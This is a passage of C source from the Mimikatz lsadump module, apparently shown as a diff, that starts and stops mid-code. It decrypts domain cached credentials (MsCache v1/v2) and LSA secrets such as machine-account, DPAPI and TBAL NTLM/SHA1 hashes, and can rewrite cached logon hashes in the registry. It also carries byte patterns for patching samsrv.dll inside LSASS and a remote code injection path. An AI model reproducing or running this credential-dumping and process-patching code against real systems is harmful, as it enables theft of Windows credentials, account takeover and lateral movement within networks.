pMsCacheEntry, &szSecret)) + { + if((_wcsnicmp(secretName, L"NL$Control", 10) == 0) || (_wcsnicmp(secretName, L"NL$IterationCount", 17) == 0) || !(pMsCacheEntry->flags & 1)) + continue; + + kprintf(L"\n[%s - ", secretName); + kull_m_string_displayLocalFileTime(&pMsCacheEntry->lastWrite); + kprintf(L"]\nRID : %08x (%u)\n", pMsCacheEntry->userId, pMsCacheEntry->userId); + + s1 = szSecret - FIELD_OFFSET(MSCACHE_ENTRY, enc_data); + if(lsaKeysStream) // NT 6 + { + if(kull_m_crypto_aesCTSEncryptDecrypt(CALG_AES_128, pMsCacheEntry->enc_data, s1, pNLKM, AES_128_KEY_SIZE, pMsCacheEntry->iv, FALSE)) + { + kuhl_m_lsadump_printMsCache(pMsCacheEntry, '2'); + usr.Length = usr.MaximumLength = pMsCacheEntry->szUserName; + usr.Buffer = (PWSTR) ((PBYTE) pMsCacheEntry->enc_data + sizeof(MSCACHE_DATA)); + + if(pCacheData->hProv && ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->szSC) + kuhl_m_lsadump_decryptSCCache(pMsCacheEntry->enc_data + (s1 - ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->szSC), ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->szSC, pCacheData->hProv, pCacheData->keySpec); + + if(pCacheData && pCacheData->username && (_wcsnicmp(pCacheData->username, usr.Buffer, usr.Length / sizeof(wchar_t)) == 0)) + { + kprintf(L"> User cache replace mode (2)!\n"); + if(pCacheData->isNtlm) + hashStatus = NT_SUCCESS(kull_m_crypto_get_dcc(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, pCacheData->ntlm, &usr, iter)); + else if(pCacheData->isDCC) + { + hashStatus = TRUE; + RtlCopyMemory(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, pCacheData->dcc, LM_NTLM_HASH_LENGTH); + } + else hashStatus = FALSE; + if(hashStatus) + { + kprintf(L" MsCacheV2 : "); kull_m_string_wprintf_hex(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); + if(kull_m_crypto_hmac(CALG_SHA1, pNLKM, AES_128_KEY_SIZE, pMsCacheEntry->enc_data, s1, pMsCacheEntry->cksum, MD5_DIGEST_LENGTH)) + { + kprintf(L" Checksum : "); kull_m_string_wprintf_hex(pMsCacheEntry->cksum, MD5_DIGEST_LENGTH, 0); kprintf(L"\n"); + if(kull_m_crypto_aesCTSEncryptDecrypt(CALG_AES_128, pMsCacheEntry->enc_data, s1, pNLKM, AES_128_KEY_SIZE, pMsCacheEntry->iv, TRUE)) + { + if(kull_m_registry_RegSetValueEx(hSecurity, hCache, secretName, 0, type, (LPBYTE) pMsCacheEntry, szSecret)) + kprintf(L"> OK!\n"); + else PRINT_ERROR_AUTO(L"kull_m_registry_RegSetValueEx"); + } + } + } + else PRINT_ERROR_AUTO(L"?"); + } + } + } + else // NT 5 + { + if(kull_m_crypto_hmac(CALG_MD5, pNLKM, szNLKM, pMsCacheEntry->iv, LAZY_IV_SIZE, key.Buffer, MD5_DIGEST_LENGTH)) + { + data.Length = data.MaximumLength = s1; + data.Buffer = pMsCacheEntry->enc_data; + nStatus = RtlEncryptDecryptRC4(&data, &key); + if(NT_SUCCESS(nStatus)) + { + kuhl_m_lsadump_printMsCache(pMsCacheEntry, '1'); + usr.Length = usr.MaximumLength = pMsCacheEntry->szUserName; + usr.Buffer = (PWSTR) ((PBYTE) pMsCacheEntry->enc_data + sizeof(MSCACHE_DATA)); + if(pCacheData && pCacheData->username && (_wcsnicmp(pCacheData->username, usr.Buffer, usr.Length / sizeof(wchar_t)) == 0)) + { + kprintf(L"> User cache replace mode (1)!\n"); + if(pCacheData->isNtlm) + hashStatus = NT_SUCCESS(kull_m_crypto_get_dcc(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, pCacheData->ntlm, &usr, 0)); + else if(pCacheData->isDCC) + { + hashStatus = TRUE; + RtlCopyMemory(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, pCacheData->dcc, LM_NTLM_HASH_LENGTH); + } + else hashStatus = FALSE; + if(NT_SUCCESS(kull_m_crypto_get_dcc(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, pCacheData->ntlm, &usr, 0))) + { + kprintf(L" MsCacheV1 : "); kull_m_string_wprintf_hex(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); + if(kull_m_crypto_hmac(CALG_MD5, key.Buffer, MD5_DIGEST_LENGTH, pMsCacheEntry->enc_data, s1, pMsCacheEntry->cksum, MD5_DIGEST_LENGTH)) + { + kprintf(L" Checksum : "); kull_m_string_wprintf_hex(pMsCacheEntry->cksum, MD5_DIGEST_LENGTH, 0); kprintf(L"\n"); + nStatus = RtlEncryptDecryptRC4(&data, &key); + if(NT_SUCCESS(nStatus)) + { + if(kull_m_registry_RegSetValueEx(hSecurity, hCache, secretName, 0, type, (LPBYTE) pMsCacheEntry, szSecret)) + kprintf(L"> OK!\n"); + else PRINT_ERROR_AUTO(L"kull_m_registry_RegSetValueEx"); + } + else PRINT_ERROR(L"RtlEncryptDecryptRC4 : 0x%08x\n", nStatus); + } + } + } + } + else PRINT_ERROR(L"RtlEncryptDecryptRC4 : 0x%08x\n", nStatus); + } + else PRINT_ERROR_AUTO(L"kull_m_crypto_hmac"); + } + } + } + LocalFree(pMsCacheEntry); + } + LocalFree(secretName); + } + } + kull_m_registry_RegCloseKey(hSecurity, hCache); + } + LocalFree(pNLKM); + } + return TRUE; +} + +void kuhl_m_lsadump_printMsCache(PMSCACHE_ENTRY entry, CHAR version) +{ + //DWORD i; + MSCACHE_ENTRY_PTR ptr; + ptr.UserName.Buffer = (PWSTR) ((PBYTE) entry->enc_data + sizeof(MSCACHE_DATA)); + ptr.UserName.Length = ptr.UserName.MaximumLength = entry->szUserName; + ptr.Domain.Buffer = (PWSTR) ((PBYTE) ptr.UserName.Buffer + SIZE_ALIGN(entry->szUserName, 4)); + ptr.Domain.Length = ptr.Domain.MaximumLength = entry->szDomainName; + //ptr.DnsDomainName.Buffer = (PWSTR) ((PBYTE) ptr.Domain.Buffer + SIZE_ALIGN(entry->szDomainName, 4)); + //ptr.DnsDomainName.Length = ptr.DnsDomainName.MaximumLength = entry->szDnsDomainName; + //ptr.Upn.Buffer = (PWSTR) ((PBYTE) ptr.DnsDomainName.Buffer + SIZE_ALIGN(entry->szDnsDomainName, 4)); + //ptr.Upn.Length = ptr.Upn.MaximumLength = entry->szupn; + //ptr.EffectiveName.Buffer = (PWSTR) ((PBYTE) ptr.Upn.Buffer + SIZE_ALIGN(entry->szupn, 4)); + //ptr.EffectiveName.Length = ptr.EffectiveName.MaximumLength = entry->szEffectiveName; + //ptr.FullName.Buffer = (PWSTR) ((PBYTE) ptr.EffectiveName.Buffer + SIZE_ALIGN(entry->szEffectiveName, 4)); + //ptr.FullName.Length = ptr.FullName.MaximumLength = entry->szFullName; + //ptr.LogonScript.Buffer = (PWSTR) ((PBYTE) ptr.FullName.Buffer + SIZE_ALIGN(entry->szFullName, 4)); + //ptr.LogonScript.Length = ptr.LogonScript.MaximumLength = entry->szlogonScript; + //ptr.ProfilePath.Buffer = (PWSTR) ((PBYTE) ptr.LogonScript.Buffer + SIZE_ALIGN(entry->szlogonScript, 4)); + //ptr.ProfilePath.Length = ptr.ProfilePath.MaximumLength = entry->szprofilePath; + //ptr.HomeDirectory.Buffer = (PWSTR) ((PBYTE) ptr.ProfilePath.Buffer + SIZE_ALIGN(entry->szprofilePath, 4)); + //ptr.HomeDirectory.Length = ptr.HomeDirectory.MaximumLength = entry->szhomeDirectory; + //ptr.HomeDirectoryDrive.Buffer = (PWSTR) ((PBYTE) ptr.HomeDirectory.Buffer + SIZE_ALIGN(entry->szhomeDirectory, 4)); + //ptr.HomeDirectoryDrive.Length = ptr.HomeDirectoryDrive.MaximumLength = entry->szhomeDirectoryDrive; + //ptr.Groups = (PGROUP_MEMBERSHIP) ((PBYTE) ptr.HomeDirectoryDrive.Buffer + SIZE_ALIGN(entry->szhomeDirectoryDrive, 4)); + //ptr.LogonDomainName.Buffer = (PWSTR) ((PBYTE) ptr.Groups + SIZE_ALIGN(entry->groupCount * sizeof(GROUP_MEMBERSHIP), 4)); + //ptr.LogonDomainName.Length = ptr.LogonDomainName.MaximumLength = entry->szlogonDomainName; + + //kprintf(L"UserName : %wZ\n", &ptr.UserName); + //kprintf(L"Domain : %wZ\n", &ptr.Domain); + //kprintf(L"DnsDomainName: %wZ\n", &ptr.DnsDomainName); + //kprintf(L"Upn : %wZ\n", &ptr.Upn); + //kprintf(L"EffectiveName: %wZ\n", &ptr.EffectiveName); + //kprintf(L"FullName : %wZ\n", &ptr.FullName); + //kprintf(L"LogonScript : %wZ\n", &ptr.LogonScript); + //kprintf(L"ProfilePath : %wZ\n", &ptr.ProfilePath); + //kprintf(L"HomeDirectory: %wZ\n", &ptr.HomeDirectory); + //kprintf(L"HomeDirectoryDrive: %wZ\n", &ptr.HomeDirectoryDrive); + //kprintf(L"Groups :"); + //for(i = 0; i < entry->groupCount; i++) + // kprintf(L" %u", ptr.Groups[i].RelativeId); + //kprintf(L"\n"); + //kprintf(L"LogonDomainName: %wZ\n", &ptr.LogonDomainName); + //kprintf(L"sidCount: %u\n", entry->sidCount); + kprintf(L"User : %wZ\\%wZ\n", &ptr.Domain, &ptr.UserName); + kprintf(L"MsCacheV%c : ", version); kull_m_string_wprintf_hex(((PMSCACHE_DATA) entry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); +} + +DECLARE_CONST_UNICODE_STRING(NTLM_PACKAGE_NAME, L"NTLM"); +DECLARE_CONST_UNICODE_STRING(LSACRED_PACKAGE_NAME, LSA_CREDENTIAL_KEY_PACKAGE_NAME); +BOOL kuhl_m_lsadump_decryptSCCache(PBYTE data, DWORD size, HCRYPTPROV hProv, DWORD keySpec) +{ + BOOL status = FALSE; + PKIWI_ENC_SC_DATA pEnc = NULL; + DWORD toDecryptSize = 0; + + HCRYPTHASH hHash, hHash2; + DWORD dwSigLen = 0; + PBYTE sig; + HCRYPTKEY hKey; + + DWORD i, j; + PPAC_CREDENTIAL_DATA credentialData = NULL; + PNTLM_SUPPLEMENTAL_CREDENTIAL ntlmCredential; + PNTLM_SUPPLEMENTAL_CREDENTIAL_V4 ntlmCredential4; + PKIWI_CREDENTIAL_KEYS pKeys = NULL; + + if(size > sizeof(KIWI_ENC_SC_DATA)) + { + if(RtlEqualMemory(data, "SuppData", 8)) + { + pEnc = &((PKIWI_ENC_SC_DATA_NEW) data)->data; + toDecryptSize = ((PKIWI_ENC_SC_DATA_NEW) data)->dataSize - FIELD_OFFSET(KIWI_ENC_SC_DATA, toDecrypt); + } + else + { + pEnc = (PKIWI_ENC_SC_DATA) data; + toDecryptSize = size - FIELD_OFFSET(KIWI_ENC_SC_DATA, toDecrypt); + } + + if(CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash)) + { + CryptHashData(hHash, pEnc->toSign, sizeof(pEnc->toSign), 0); + if(CryptSignHash(hHash, keySpec, NULL, 0, NULL, &dwSigLen)) + { + if(sig = (PBYTE) LocalAlloc(LPTR, dwSigLen)) + { + if(CryptSignHash(hHash, keySpec, NULL, 0, sig, &dwSigLen)) + { + if(CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash2)) + { + CryptHashData(hHash2, sig, dwSigLen, 0); + CryptHashData(hHash2, pEnc->toHash, sizeof(pEnc->toHash), 0); + if(CryptDeriveKey(hProv, CALG_RC4, hHash2, 0, &hKey)) // maybe RC2 sometimes ? + { + if(status = CryptDecrypt(hKey, 0, TRUE, 0, pEnc->toDecrypt, &toDecryptSize)) + { + if(kull_m_pac_DecodeCredential(pEnc->toDecrypt + 24, toDecryptSize - 24, &credentialData)) + { + for(i = 0; i < credentialData->CredentialCount; i++) + { + kprintf(L" [%u] %wZ", i, &credentialData->Credentials[i].PackageName); + if(RtlEqualUnicodeString(&NTLM_PACKAGE_NAME, &credentialData->Credentials[i].PackageName, TRUE)) + { + ntlmCredential = (PNTLM_SUPPLEMENTAL_CREDENTIAL) credentialData->Credentials[i].Credentials; + switch(ntlmCredential->Version) + { + case 0: + if(ntlmCredential->Flags & 1) + { + kprintf(L"\n LM: "); + kull_m_string_wprintf_hex(ntlmCredential->LmPassword, LM_NTLM_HASH_LENGTH, 0); + } + if(ntlmCredential->Flags & 2) + { + kprintf(L"\n NTLM: "); + kull_m_string_wprintf_hex(ntlmCredential->NtPassword, LM_NTLM_HASH_LENGTH, 0); + } + break; + case 4: // 10 ? + ntlmCredential4 = (PNTLM_SUPPLEMENTAL_CREDENTIAL_V4) ntlmCredential; + if(ntlmCredential4->Flags & 2) + { + kprintf(L"\n NTLM: "); + kull_m_string_wprintf_hex(ntlmCredential4->NtPassword, LM_NTLM_HASH_LENGTH, 0); + } + break; + default: + kprintf(L"\nUnknown version: %u\n", ntlmCredential->Version); + } + } + else if(RtlEqualUnicodeString(&LSACRED_PACKAGE_NAME, &credentialData->Credentials[i].PackageName, TRUE)) + { + if(kull_m_rpc_DecodeCredentialKeys(credentialData->Credentials[i].Credentials, credentialData->Credentials[i].CredentialSize, &pKeys)) + { + for(j = 0; j < pKeys->count; j++) + kuhl_m_sekurlsa_genericKeyOutput(&pKeys->keys[j], NULL); + kull_m_rpc_FreeCredentialKeys(&pKeys); + } + } + else + { + kprintf(L"\n"); + kull_m_string_wprintf_hex(credentialData->Credentials[i].Credentials, credentialData->Credentials[i].CredentialSize, 1 | (16 << 16)); + } + kprintf(L"\n"); + } + kull_m_pac_FreeCredential(&credentialData); + } + } + else PRINT_ERROR_AUTO(L"CryptDecrypt"); + CryptDestroyKey(hKey); + } + else PRINT_ERROR_AUTO(L"CryptDeriveKey(RC4)"); + CryptDestroyHash(hHash2); + } + } + else PRINT_ERROR_AUTO(L"CryptSignHash(data)"); + LocalFree(sig); + } + } + else PRINT_ERROR_AUTO(L"CryptSignHash(init)"); + CryptDestroyHash(hHash); + } + } + return status; +} + +void kuhl_m_lsadump_getInfosFromServiceName(IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN PCWSTR serviceName) +{ + DWORD szNeeded; + LPVOID objectName; + if(kull_m_registry_OpenAndQueryWithAlloc(hSystem, hSystemBase, serviceName, L"ObjectName", NULL, &objectName, &szNeeded)) + { + kprintf(L" / service \'%s\' with username : %.*s", serviceName, szNeeded / sizeof(wchar_t), objectName); + LocalFree(objectName); + } +} + +BOOL kuhl_m_lsadump_decryptSecret(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecret, IN LPCWSTR KeyName, IN PNT6_SYSTEM_KEYS lsaKeysStream, IN PNT5_SYSTEM_KEY lsaKeyUnique, IN PVOID * pBufferOut, IN PDWORD pSzBufferOut) +{ + BOOL status = FALSE; + DWORD szSecret = 0; + PVOID secret; + CRYPTO_BUFFER data, output = {0, 0, NULL}, key = {sizeof(NT5_SYSTEM_KEY), sizeof(NT5_SYSTEM_KEY), NULL}; + + if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hSecret, KeyName, NULL, NULL, &secret, &szSecret)) + { + if(lsaKeysStream) + { + if(kuhl_m_lsadump_sec_aes256((PNT6_HARD_SECRET) secret, szSecret, lsaKeysStream, NULL)) + { + *pSzBufferOut = ((PNT6_HARD_SECRET) secret)->clearSecret.SecretSize; + if(*pBufferOut = LocalAlloc(LPTR, *pSzBufferOut)) + { + status = TRUE; + RtlCopyMemory(*pBufferOut, ((PNT6_HARD_SECRET) secret)->clearSecret.Secret, *pSzBufferOut); + } + } + } + else if(lsaKeyUnique) + { + key.Buffer = lsaKeyUnique->key; + data.Length = data.MaximumLength = ((PNT5_HARD_SECRET) secret)->encryptedStructSize; + data.Buffer = (PBYTE) secret + szSecret - data.Length; // dirty hack to not extract x64/x86 from REG ; // ((PNT5_HARD_SECRET) secret)->encryptedSecret; + if(RtlDecryptDESblocksECB(&data, &key, &output) == STATUS_BUFFER_TOO_SMALL) + { + if(output.Buffer = (PBYTE) LocalAlloc(LPTR, output.Length)) + { + output.MaximumLength = output.Length; + if(NT_SUCCESS(RtlDecryptDESblocksECB(&data, &key, &output))) + { + *pSzBufferOut = output.Length; + if(*pBufferOut = LocalAlloc(LPTR, *pSzBufferOut)) + { + status = TRUE; + RtlCopyMemory(*pBufferOut, output.Buffer, *pSzBufferOut); + } + } + LocalFree(output.Buffer); + } + } + } + LocalFree(secret); + } + return status; +} + +void kuhl_m_lsadump_candidateSecret(DWORD szBytesSecrets, PVOID bufferSecret, PCWSTR prefix, PCWSTR secretName) +{ + UNICODE_STRING candidateString = {(USHORT) szBytesSecrets, (USHORT) szBytesSecrets, (PWSTR) bufferSecret}; + BOOL isStringOk = FALSE; + PVOID bufferHash[SHA_DIGEST_LENGTH]; // ok for NTLM too + PKIWI_TBAL_MSV pTbal; + + if(bufferSecret && szBytesSecrets) + { + kprintf(L"%s", prefix); + if(szBytesSecrets <= USHRT_MAX) + if(isStringOk = kull_m_string_suspectUnicodeString(&candidateString)) + kprintf(L"text: %wZ", &candidateString); + + if(!isStringOk) + { + kprintf(L"hex : "); + kull_m_string_wprintf_hex(bufferSecret, szBytesSecrets, 1); + } + + if(_wcsicmp(secretName, L"$MACHINE.ACC") == 0) + { + if(kull_m_crypto_hash(CALG_MD4, bufferSecret, szBytesSecrets, bufferHash, MD4_DIGEST_LENGTH)) + { + kprintf(L"\n NTLM:"); + kull_m_string_wprintf_hex(bufferHash, MD4_DIGEST_LENGTH, 0); + } + if(kull_m_crypto_hash(CALG_SHA1, bufferSecret, szBytesSecrets, bufferHash, SHA_DIGEST_LENGTH)) + { + kprintf(L"\n SHA1:"); + kull_m_string_wprintf_hex(bufferHash, SHA_DIGEST_LENGTH, 0); + } + } + else if((_wcsicmp(secretName, L"DPAPI_SYSTEM") == 0) && (szBytesSecrets == sizeof(DWORD) + 2 * SHA_DIGEST_LENGTH)) + { + kprintf(L"\n full: "); + kull_m_string_wprintf_hex((PBYTE) bufferSecret + sizeof(DWORD), 2 * SHA_DIGEST_LENGTH, 0); + kprintf(L"\n m/u : "); + kull_m_string_wprintf_hex((PBYTE) bufferSecret + sizeof(DWORD), SHA_DIGEST_LENGTH, 0); + kprintf(L" / "); + kull_m_string_wprintf_hex((PBYTE) bufferSecret + sizeof(DWORD) + SHA_DIGEST_LENGTH, SHA_DIGEST_LENGTH, 0); + } + else if(_wcsnicmp(secretName, L"M$_MSV1_0_TBAL_PRIMARY_", 23) == 0) + { + pTbal = (PKIWI_TBAL_MSV) bufferSecret; + kprintf(L" User : %.*s\n Domain : %.*s", pTbal->UserName.Length / sizeof(wchar_t), (PBYTE) pTbal + pTbal->UserName.Buffer, pTbal->DomainName.Length / sizeof(wchar_t), (PBYTE) pTbal + pTbal->DomainName.Buffer); + if(pTbal->flags & 1) + { + kprintf(L"\n * NTLM : "); + kull_m_string_wprintf_hex(pTbal->NtOwfPassword, sizeof(pTbal->NtOwfPassword), 0); + } + if(pTbal->flags & 2) + { + kprintf(L"\n * LM : "); + kull_m_string_wprintf_hex(pTbal->LmOwfPassword, sizeof(pTbal->LmOwfPassword), 0); + } + if(pTbal->flags & 4) + { + kprintf(L"\n * SHA1 : "); + kull_m_string_wprintf_hex(pTbal->ShaOwPassword, sizeof(pTbal->ShaOwPassword), 0); + } + if(pTbal->flags & 8) + { + kprintf(L"\n * DPAPI: "); + kull_m_string_wprintf_hex(pTbal->DPAPIProtected, sizeof(pTbal->DPAPIProtected), 0); + } + } + } +} + +BOOL kuhl_m_lsadump_sec_aes256(PNT6_HARD_SECRET hardSecretBlob, DWORD hardSecretBlobSize, PNT6_SYSTEM_KEYS lsaKeysStream, PBYTE sysKey) +{ + BOOL status = FALSE; + BYTE keyBuffer[AES_256_KEY_SIZE]; + DWORD i, offset, szNeeded; + HCRYPTPROV hContext; + HCRYPTHASH hHash; + HCRYPTKEY hKey; + PBYTE pKey = NULL; + PNT6_SYSTEM_KEY lsaKey; + + if(lsaKeysStream) + { + for(i = 0, offset = 0; i < lsaKeysStream->nbKeys; i++, offset += FIELD_OFFSET(NT6_SYSTEM_KEY, Key) + lsaKey->KeySize) + { + lsaKey = (PNT6_SYSTEM_KEY) ((PBYTE) lsaKeysStream->Keys + offset); + if(RtlEqualGuid(&hardSecretBlob->KeyId, &lsaKey->KeyId)) + { + pKey = lsaKey->Key; + szNeeded = lsaKey->KeySize; + break; + } + } + } + else if(sysKey) + { + pKey = sysKey; + szNeeded = SYSKEY_LENGTH; + } + + if(pKey) + { + if(CryptAcquireContext(&hContext, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) + { + if(CryptCreateHash(hContext, CALG_SHA_256, 0, 0, &hHash)) + { + CryptHashData(hHash, pKey, szNeeded, 0); + for(i = 0; i < 1000; i++) + CryptHashData(hHash, hardSecretBlob->lazyiv, LAZY_NT6_IV_SIZE, 0); + + szNeeded = sizeof(keyBuffer); + if(CryptGetHashParam(hHash, HP_HASHVAL, keyBuffer, &szNeeded, 0)) + { + if(kull_m_crypto_hkey(hContext, CALG_AES_256, keyBuffer, sizeof(keyBuffer), 0, &hKey, NULL)) + { + i = CRYPT_MODE_ECB; + if(CryptSetKeyParam(hKey, KP_MODE, (LPCBYTE) &i, 0)) + { + szNeeded = hardSecretBlobSize - FIELD_OFFSET(NT6_HARD_SECRET, encryptedSecret); + status = CryptDecrypt(hKey, 0, FALSE, 0, hardSecretBlob->encryptedSecret, &szNeeded); + if(!status) + PRINT_ERROR_AUTO(L"CryptDecrypt"); + } + else PRINT_ERROR_AUTO(L"CryptSetKeyParam"); + CryptDestroyKey(hKey); + } + else PRINT_ERROR_AUTO(L"kull_m_crypto_hkey"); + } + CryptDestroyHash(hHash); + } + CryptReleaseContext(hContext, 0); + } + } + return status; +} + +#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 +BYTE PTRN_WALL_SampQueryInformationUserInternal[] = {0x49, 0x8d, 0x41, 0x20}; +BYTE PATC_WIN5_NopNop[] = {0x90, 0x90}; +BYTE PATC_WALL_JmpShort[] = {0xeb, 0x04}; +KULL_M_PATCH_GENERIC SamSrvReferences[] = { + {KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WIN5_NopNop), PATC_WIN5_NopNop}, {-17}}, + {KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WALL_JmpShort), PATC_WALL_JmpShort}, {-21}}, + {KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WALL_JmpShort), PATC_WALL_JmpShort}, {-24}}, + {KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WALL_JmpShort), PATC_WALL_JmpShort}, {-21}}, + {KULL_M_WIN_BUILD_10_1703, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WALL_JmpShort), PATC_WALL_JmpShort}, {-19}}, + {KULL_M_WIN_BUILD_10_1709, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WALL_JmpShort), PATC_WALL_JmpShort}, {-21}}, + {KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WALL_JmpShort), PATC_WALL_JmpShort}, {-24}}, +}; +#elif defined(_M_IX86) +BYTE PTRN_WALL_SampQueryInformationUserInternal[] = {0xc6, 0x40, 0x22, 0x00, 0x8b}; +BYTE PATC_WALL_JmpShort[] = {0xeb, 0x04}; +KULL_M_PATCH_GENERIC SamSrvReferences[] = { + {KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WALL_JmpShort), PATC_WALL_JmpShort}, {-8}}, + {KULL_M_WIN_BUILD_8, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WALL_JmpShort), PATC_WALL_JmpShort}, {-12}}, + {KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WALL_JmpShort), PATC_WALL_JmpShort}, {-8}}, + {KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WALL_JmpShort), PATC_WALL_JmpShort}, {-8}}, + {KULL_M_WIN_BUILD_10_1607, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WALL_JmpShort), PATC_WALL_JmpShort}, {-12}}, +}; +#endif +PCWCHAR szSamSrv = L"samsrv.dll", szLsaSrv = L"lsasrv.dll", szNtDll = L"ntdll.dll", szKernel32 = L"kernel32.dll", szAdvapi32 = L"advapi32.dll"; +NTSTATUS kuhl_m_lsadump_lsa(int argc, wchar_t * argv[]) +{ + NTSTATUS status = STATUS_UNSUCCESSFUL, enumStatus; + + LSA_OBJECT_ATTRIBUTES objectAttributes; + LSA_HANDLE hPolicy; + PPOLICY_ACCOUNT_DOMAIN_INFO pPolicyDomainInfo; + SAMPR_HANDLE hSam, hDomain; + PSAMPR_RID_ENUMERATION pEnumBuffer = NULL; + DWORD CountRetourned, EnumerationContext = 0; + DWORD rid, i; + UNICODE_STRING uName; + PCWCHAR szRid = NULL, szName = NULL; + PUNICODE_STRING puName = NULL; + PDWORD pRid = NULL, pUse = NULL; + + PKULL_M_MEMORY_HANDLE hMemory = NULL; + KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModuleSamSrv; + HANDLE hSamSs = NULL; + KULL_M_MEMORY_ADDRESS aPatternMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aPatchMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; + KULL_M_MEMORY_SEARCH sMemory; + PKULL_M_PATCH_GENERIC currentSamSrvReference; + + KULL_M_MEMORY_ADDRESS aRemoteFunc; + PKULL_M_MEMORY_ADDRESS aRemoteThread = NULL; + + static BOOL isPatching = FALSE; + + REMOTE_EXT extensions[] = { + {szSamSrv, "SamIConnect", (PVOID) 0x4141414141414141, NULL}, + {szSamSrv, "SamrCloseHandle", (PVOID) 0x4242424242424242, NULL}, + {szSamSrv, "SamIRetrievePrimaryCredentials", (PVOID) 0x4343434343434343, NULL}, + {szSamSrv, "SamrOpenDomain", (PVOID) 0x4444444444444444, NULL}, + {szSamSrv, "SamrOpenUser", (PVOID) 0x4545454545454545, NULL}, + {szSamSrv, "SamrQueryInformationUser", (PVOID) 0x4646464646464646, NULL}, + {szSamSrv, "SamIFree_SAMPR_USER_INFO_BUFFER", (PVOID) 0x4747474747474747, NULL}, + {szKernel32,"VirtualAlloc", (PVOID) 0x4a4a4a4a4a4a4a4a, NULL}, + {szKernel32,"LocalFree", (PVOID) 0x4b4b4b4b4b4b4b4b, NULL}, + {szNtDll, "memcpy", (PVOID) 0x4c4c4c4c4c4c4c4c, NULL}, + {szKernel32,"LocalAlloc", (PVOID) 0x4d4d4d4d4d4d4d4d, NULL}, + }; + MULTIPLE_REMOTE_EXT extForCb = {ARRAYSIZE(extensions), extensions}; + + if(!isPatching && kull_m_string_args_byName(argc, argv, L"patch", NULL, NULL)) + { + if(currentSamSrvReference = kull_m_patch_getGenericFromBuild(SamSrvReferences, ARRAYSIZE(SamSrvReferences), MIMIKATZ_NT_BUILD_NUMBER)) + { + aPatternMemory.address = currentSamSrvReference->Search.Pattern; + aPatchMemory.address = currentSamSrvReference->Patch.Pattern; + + if(kuhl_m_lsadump_lsa_getHandle(&hMemory, PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION)) + { + if(kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"samsrv.dll", &iModuleSamSrv)) + { + sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModuleSamSrv.DllBase; + sMemory.kull_m_memoryRange.size = iModuleSamSrv.SizeOfImage; + isPatching = TRUE; + if(!kull_m_patch(&sMemory, &aPatternMemory, currentSamSrvReference->Search.Length, &aPatchMemory, currentSamSrvReference->Patch.Length, currentSamSrvReference->Offsets.off0, kuhl_m_lsadump_lsa, argc, argv, NULL)) + PRINT_ERROR_AUTO(L"kull_m_patch"); + isPatching = FALSE; + } + else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName"); + } + } + } + else + { + if(!isPatching && kull_m_string_args_byName(argc, argv, L"inject", NULL, NULL)) + { + if(kuhl_m_lsadump_lsa_getHandle(&hMemory, PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD)) + { + if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(hMemory, kuhl_sekurlsa_samsrv_thread, (DWORD) ((PBYTE) 